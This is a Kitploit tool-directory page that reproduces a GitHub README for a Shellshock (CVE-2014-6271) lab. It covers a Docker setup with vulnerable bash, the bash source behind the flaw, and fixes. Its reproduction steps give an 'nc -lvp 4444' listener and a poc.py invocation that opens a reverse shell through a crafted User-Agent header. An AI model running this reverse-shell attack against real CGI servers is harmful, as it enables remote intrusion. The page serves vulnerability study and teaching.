Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Shellshock_CVE-2014-6271 — Shellshock | Kitploit
Tools/GitHubGitHub/caverm/shellshock_cve-2014-6271
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubcaverm/shellshock_cve-2014-6271

Shellshock_CVE-2014-6271

Shellshock

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Shellshock CVE-2014-6271

Shellshock

docker-compose.yml, poc.py 파일을 다운 받아 주세요 반드시 pip install requests 를 통해 requests 라이브러리를 다운받아 주세요!!! uv를 사용하시는 분들은 uv를 통해 requests 라이브러리를 venv 안에 넣어주세요!!!

CVE Official Description
In GNU Bash versions prior to 4.3, there was a problem with handling strings that followed a function definition in environment variable values. This vulnerability allowed remote attackers to execute arbitrary code via crafted environments. The vulnerability was found in scripts executed by the ForceCommand feature of OpenSSH sshd, the mod_cgi and mod_cgid modules of the Apache HTTP server, unspecified DHCP clients, and various situations where Bash execution and environment variable assignment cross different privilege boundaries. This is referred to as "ShellShock." Note: The initial fix for this issue was incorrect, and CVE-2014-7169 was assigned to address the vulnerability that still existed after the incorrect fix.

Environment Configuration

Docker file configuration

osweb serverbash version
Debian 10Apache4.2.37(1)

Write the Dockerfile to keep the web server running when executing the docker compose up command.

Since the OS, Apache, etc. in the Dockerfile are all downloaded from external repositories, I tagged the built image, pushed it to Docker Hub, and specified that image in the docker-compose.yml file so that there is no problem even if the original is deleted.

Vulnerability Conditions

A Bash shell with the Shellshock vulnerability is required. I downloaded and used bash shell version 4.2.37(1).

Additionally, since the code must be registered in an environment variable and then Bash must be invoked to execute the code, a program that can invoke Bash must exist. I downloaded the CGI program that was used to process client requests on the web server. According to the CGI specification (RFC 3875), the web server is designed to put all header information sent by the browser into Linux environment variables for processing.

Under this condition, the web server sends a request and the header information is stored in environment variables (by the CGI specification). The attack is completed when CGI invokes a bash shell that has the vulnerability where a string after a function definition in an environment variable is executed.

Request (sending code embedded in the User-Agent header) -> CGI invokes bash -> Reverse shell connection

Reproduction Steps
  1. Start the web server using the docker compose up command.
  2. Open a new terminal and start listening with nc -lvp 4444
  3. Run poc.py to connect the reverse shell.
    • uv run ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (It doesn't have to be 4444; it depends on which port you are listening on.)
    • python3 ./poc.py -url http://localhost:8080/cgi-bin/web.sh -lhost your_ip -lport 4444 (If you are not using uv, please run it with the python3 command!!!)
Results

The terminal that was listening in step 2 of the reproduction steps is connected to the container's internal bash shell, allowing commands such as whoami, id, etc. to be executed.

Root Cause of Vulnerability
root@kitploit:~
  '''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
{
string_length = strlen (string);
temp_string = (char *)xmalloc (3 + string_length + char_index);

strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string);

parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

// 이하 생략 
'''

The cause of the vulnerability lies in the initialize_shell_variables function within variables.c of the bash shell code. This function is too long, so I have only extracted the core part.

root@kitploit:~
'''
if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
'''

The if statement above checks whether the first 4 characters are "() {" using STREQN ("() {", string, 4). If it matches, it is treated as a function. Surprisingly, there is no filtering on string afterwards, which caused the problem.

root@kitploit:~
'''
strcpy (temp_string, name);
temp_string[char_index] = ' ';
strcpy (temp_string + char_index + 1, string); 

''' The code above concatenates the name and the value. Since the value passed the check above, string starts with "() {", and name is the environment variable name.

Thus, the name and value of the environment variable are combined and passed to the code below for parsing. Because the only filter was the check for "() {", even if commands such as whoami, id, pwd are appended after the function, they all get executed.

root@kitploit:~
'''
parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
 '''
Countermeasures
Upgrade the Bash version to one that is safe from the Shellshock vulnerability.
Do not use programs that invoke the Bash shell.
Download Tool